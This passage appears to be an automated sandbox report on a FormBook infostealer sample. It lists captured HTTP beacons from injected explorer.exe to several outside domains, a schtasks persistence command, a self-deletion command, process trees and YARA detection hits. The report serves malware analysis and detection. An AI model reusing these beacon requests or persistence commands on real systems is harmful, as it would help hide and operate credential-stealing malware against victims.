May 4, 2021 14:07:46.421359062 CEST	1572	IN	HTTP/1.1 403 Forbidden Date: Tue, 04 May 2021 12:07:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding X-Sorting-Hat-PodId: 149 X-Sorting-Hat-ShopId: 48042705046 X-Dc: gcp-us-central1 X-Request-ID: 0c6eb7ca-740e-45e8-bf03-2b3f203f2516 X-Permitted-Cross-Domain-Policies: none X-XSS-Protection: 1; mode=block X-Download-Options: noopen X-Content-Type-Options: nosniff CF-Cache-Status: DYNAMIC cf-request-id: 09d8e0073f00000610069af000000001 Server: cloudflare CF-RAY: 64a19c51fe910610-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 31 31 38 34 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 65 76 65 72 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 41 63 63 65 73 73 20 64 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 2a 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 31 46 31 46 31 3b 66 6f 6e 74 2d 73 69 7a 65 3a 36 32 2e 35 25 3b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 32 2e 37 72 65 6d 7d 61 7b 63 6f 6c 6f 72 3a 23 33 30 33 30 33 30 3b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 73 6f 6c 69 64 20 23 33 30 33 30 33 30 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 20 30 2e 32 73 20 65 61 73 65 2d 69 6e 7d 61 3a 68 6f 76 65 72 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 23 41 39 41 39 41 39 7d 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 38 72 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 6d 61 72 67 69 6e 3a 30 20 30 20 31 2e 34 72 65 6d 20 30 7d 70 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 7d 2e 70 61 67 65 7b 70 61 64 64 69 6e 67 3a 34 72 65 6d 20 33 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6d 69 6e 2d 68 65 69 67 Data Ascii: 1184<!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="referrer" content="never" /> <title>Access denied</title> <style type="text/css"> *{box-sizing:border-box;margin:0;padding:0}html{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;background:#F1F1F1;font-size:62.5%;color:#303030;min-height:100%}body{padding:0;margin:0;line-height:2.7rem}a{color:#303030;border-bottom:1px solid #303030;text-decoration:none;padding-bottom:1rem;transition:border-color 0.2s ease-in}a:hover{border-bottom-color:#A9A9A9}h1{font-size:1.8rem;font-weight:400;margin:0 0 1.4rem 0}p{font-size:1.5rem;margin:0}.page{padding:4rem 3.5rem;margin:0;display:flex;min-heig
May 4, 2021 14:07:46.421375990 CEST	1573	IN	Data Raw: 68 74 3a 31 30 30 76 68 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 63 6f 6c 75 6d 6e 7d 2e 74 65 78 74 2d 63 6f 6e 74 61 69 6e 65 72 2d 2d 6d 61 69 6e 7b 66 6c 65 78 3a 31 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 61 6c 69 67 6e 2d 69 74 65 Data Ascii: ht:100vh;flex-direction:column}.text-container--main{flex:1;display:flex;align-items:start;margin-bottom:1.6rem}.action{border:1px solid #A9A9A9;padding:1.2rem 2.5rem;border-radius:6px;text-decoration:none;margin-top:1.6rem;display:inline-bloc
May 4, 2021 14:07:46.421431065 CEST	1574	IN	Data Raw: 20 70 61 72 61 20 61 63 65 73 73 61 72 20 65 73 74 65 20 73 69 74 65 22 0a 20 20 7d 2c 0a 20 20 22 65 73 22 3a 20 7b 0a 20 20 20 20 22 74 69 74 6c 65 22 3a 20 22 41 63 63 65 73 6f 20 64 65 6e 65 67 61 64 6f 22 2c 0a 20 20 20 20 22 63 6f 6e 74 65 Data Ascii: para acessar este site" }, "es": { "title": "Acceso denegado", "content-title": "No tienes permiso para acceder a esta pgina web" }, "ko": { "title": " ", "content-title": "
May 4, 2021 14:07:46.421444893 CEST	1575	IN	Data Raw: 69 74 6c 65 22 3a 20 22 e0 a4 aa e0 a4 b9 e0 a5 81 e0 a4 82 e0 a4 9a 20 e0 a4 85 e0 a4 b8 e0 a5 8d e0 a4 b5 e0 a5 80 e0 a4 95 e0 a5 83 e0 a4 a4 22 2c 0a 20 20 20 20 22 63 6f 6e 74 65 6e 74 2d 74 69 74 6c 65 22 3a 20 22 e0 a4 86 e0 a4 aa e0 a4 95 Data Ascii: itle": " ", "content-title": " " }, "ja": { "tit
May 4, 2021 14:07:46.421458006 CEST	1576	IN	Data Raw: 32 39 39 0d 0a 6c 61 6e 67 75 61 67 65 73 20 26 26 20 6e 61 76 69 67 61 74 6f 72 2e 6c 61 6e 67 75 61 67 65 73 5b 30 5d 20 7c 7c 20 2f 2f 20 43 68 72 6f 6d 65 20 2f 20 46 69 72 65 66 6f 78 0a 20 20 20 20 6e 61 76 69 67 61 74 6f 72 2e 6c 61 6e 67 Data Ascii: 299languages && navigator.languages[0] \|\| // Chrome / Firefox navigator.language \|\| // All browsers navigator.userLanguage \|\| // IE <= 10 "en"; language = language.split("-")[0]; // Strip country code translations = t[langu
May 4, 2021 14:07:46.421466112 CEST	1576	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.7	49734	67.222.39.83	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:51.849014997 CEST	5490	OUT	GET /o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.firstcoastelope.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:07:53.232192039 CEST	5491	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 May 2021 12:07:51 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://firstcoastelope.com/o86d/?W6jDfD=LOco70LpFY5umcR4dQY6Ck5isx6bsPxuRuPfG/JQuVwPWdFiKckkP6tLRm3hZqsbjizE9R3VWg==&Yn=ybdHh8KP02GTtb host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Endurance-Cache-Level: 2 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.7	49735	34.102.136.180	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:07:58.504919052 CEST	5493	OUT	GET /o86d/?W6jDfD=lH+NNz2eaU5LSk/yemMXIWDwl3fMAuCKISb0DcDmH6anXfUVh7p155egYD4l1a4C4v8/cW+zhg==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.blueberry-intl.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:07:58.641736031 CEST	5494	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 04 May 2021 12:07:58 GMT Content-Type: text/html Content-Length: 275 ETag: "6089be8c-113" Via: 1.1 google Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body><h1>Access Forbidden</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	49736	206.189.46.186	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:08:04.053411007 CEST	5495	OUT	GET /o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.thaihuay88.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:08:04.353432894 CEST	5496	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 04 May 2021 12:08:04 GMT Server: Apache/2.4.29 (Ubuntu) X-Frame-Options: DENY X-Content-Type-Options: nosniff Location: https://www.thaihuay88.com/o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb Content-Length: 430 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 68 61 69 68 75 61 79 38 38 2e 63 6f 6d 2f 6f 38 36 64 2f 3f 57 36 6a 44 66 44 3d 5a 72 31 6d 48 44 30 55 7a 76 57 43 51 63 49 32 4a 6c 47 41 65 6f 6b 7a 6b 46 45 49 62 6c 48 4d 78 71 65 5a 74 77 33 57 39 64 43 51 51 37 65 78 6e 54 43 62 38 6c 52 2f 32 71 67 6b 6e 62 49 46 59 79 42 2f 65 46 72 63 46 77 3d 3d 26 61 6d 70 3b 59 6e 3d 79 62 64 48 68 38 4b 50 30 32 47 54 74 62 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 74 68 61 69 68 75 61 79 38 38 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.thaihuay88.com/o86d/?W6jDfD=Zr1mHD0UzvWCQcI2JlGAeokzkFEIblHMxqeZtw3W9dCQQ7exnTCb8lR/2qgknbIFYyB/eFrcFw==&Yn=ybdHh8KP02GTtb">here</a>.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at www.thaihuay88.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.7	49748	198.54.115.5	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:08:15.016560078 CEST	6373	OUT	GET /o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.website-bazar.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:08:15.212879896 CEST	6374	IN	HTTP/1.1 301 Moved Permanently date: Tue, 04 May 2021 12:08:15 GMT server: Apache location: https://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb content-length: 349 content-type: text/html; charset=iso-8859-1 connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 65 62 73 69 74 65 2d 62 61 7a 61 72 2e 63 6f 6d 2f 6f 38 36 64 2f 3f 57 36 6a 44 66 44 3d 5a 74 35 51 44 33 54 55 53 4f 6e 43 6b 55 37 53 4b 47 67 33 79 77 61 49 54 67 36 76 45 36 6e 6a 45 7a 76 2f 34 6b 2b 4c 30 38 4f 76 5a 77 72 30 4e 59 56 59 31 4d 41 70 34 71 36 57 43 6a 44 61 70 6a 43 67 35 37 56 66 34 51 3d 3d 26 61 6d 70 3b 59 6e 3d 79 62 64 48 68 38 4b 50 30 32 47 54 74 62 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.website-bazar.com/o86d/?W6jDfD=Zt5QD3TUSOnCkU7SKGg3ywaITg6vE6njEzv/4k+L08OvZwr0NYVY1MAp4q6WCjDapjCg57Vf4Q==&Yn=ybdHh8KP02GTtb">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.7	49749	192.0.78.24	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 4, 2021 14:08:20.324528933 CEST	6376	OUT	GET /o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb HTTP/1.1 Host: www.sherylabrahamphotography.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 4, 2021 14:08:20.365212917 CEST	6376	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Tue, 04 May 2021 12:08:20 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.sherylabrahamphotography.com/o86d/?W6jDfD=VzK2bv7yp5iwEBdNZQjCdXXbrLCot30MtbV4orBq8x4MF4HvmT9bEqgnu31MbrCbNdKakV5eJA==&Yn=ybdHh8KP02GTtb X-ac: 2.hhn _dfw Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 08917506_by_Libranalysis.exe PID: 1144 Parent PID: 5756

General

Start time:	14:06:26
Start date:	04/05/2021
Path:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'
Imagebase:	0xfc0000
File size:	687616 bytes
MD5 hash:	089175069D5C095F078B7F8A3B28A22D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000000.00000002.252705073.0000000004631000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000000.00000002.252118512.000000000369D000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: schtasks.exe PID: 5596 Parent PID: 1144

General

Start time:	14:06:35
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\OfCxSfBf' /XML 'C:\Users\user\AppData\Local\Temp\tmpFA9B.tmp'
Imagebase:	0x90000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 360 Parent PID: 5596

General

Start time:	14:06:36
Start date:	04/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: 08917506_by_Libranalysis.exe PID: 1020 Parent PID: 1144

General

Start time:	14:06:36
Start date:	04/05/2021
Path:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\08917506_by_Libranalysis.exe
Imagebase:	0xb20000
File size:	687616 bytes
MD5 hash:	089175069D5C095F078B7F8A3B28A22D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.295482175.0000000001880000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.295106715.0000000001520000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.294777794.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 1020

General

Start time:	14:06:39
Start date:	04/05/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: ipconfig.exe PID: 6820 Parent PID: 3292

General

Start time:	14:06:55
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\ipconfig.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\ipconfig.exe
Imagebase:	0x1380000
File size:	29184 bytes
MD5 hash:	B0C7423D02A007461C850CD0DFE09318
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.495362707.0000000000B90000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000000F.00000002.495228855.0000000000B50000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 7048 Parent PID: 6820

General

Start time:	14:06:59
Start date:	04/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\08917506_by_Libranalysis.exe'
Imagebase:	0xb50000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 7064 Parent PID: 7048

General

Start time:	14:07:00
Start date:	04/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: 08917506_by_Libranalysis.exe PID: 1144 Parent PID: 5756 08917506_by_Libranalysis.exeCOMMON

Executed Functions

Function 05810BDF, Relevance: 14.7, Strings: 7, Instructions: 5939COMMON

Download Yara Rule

Strings

<mzp, xrefs: 05810D15
<mzp, xrefs: 05810D45
<mzp, xrefs: 058110D5
<mzp, xrefs: 05810F25
<mzp, xrefs: 05811285
<mzp, xrefs: 05810D75
<mzp, xrefs: 05811405

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: <mzp$<mzp$<mzp$<mzp$<mzp$<mzp$<mzp
API String ID: 0-3511316727
Opcode ID: 9f0ecdf32041818ffcd47a46a5c628f5501683e01af35600ec29217fcf92cbb7
Instruction ID: ab8bd72e9dfb0e8560bb82647ff9d107e421905c87cb03241b67a8724a009d63
Opcode Fuzzy Hash: 9f0ecdf32041818ffcd47a46a5c628f5501683e01af35600ec29217fcf92cbb7
Instruction Fuzzy Hash: D9D3C634A11218CFDB64DF64C854A99B7B2FF89305F1141EAE50DAB3A1DB32AE84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 05810BF0, Relevance: 14.7, Strings: 7, Instructions: 5931COMMON

Download Yara Rule

Strings

<mzp, xrefs: 05810D15
<mzp, xrefs: 05810D45
<mzp, xrefs: 058110D5
<mzp, xrefs: 05810F25
<mzp, xrefs: 05811285
<mzp, xrefs: 05810D75
<mzp, xrefs: 05811405

Memory Dump Source

Source File: 00000000.00000002.253191913.0000000005810000.00000040.00000001.sdmp, Offset: 05810000, based on PE: false

Similarity

API ID:
String ID: <mzp$<mzp$<mzp$<mzp$<mzp$<mzp$<mzp
API String ID: 0-3511316727
Opcode ID: c76992022bd08357701785b2af25b41412911b5d1fd4aad4a78e382288244c91
Instruction ID: 931bbddb4cabc072e0ac7ccc8623f17c366bf09c79bb90859c103cd8d380a89b
Opcode Fuzzy Hash: c76992022bd08357701785b2af25b41412911b5d1fd4aad4a78e382288244c91
Instruction Fuzzy Hash: 58D3C634A11218CFDB64DF64C854A99B7B2FF89305F1141EAE50DAB3A1DB32AE84CF15

Uniqueness

Uniqueness Score: -1.00%

Function 058A0A50, Relevance: 1.6, APIs: 1, Instructions: 100COMMON

Download Yara Rule

APIs

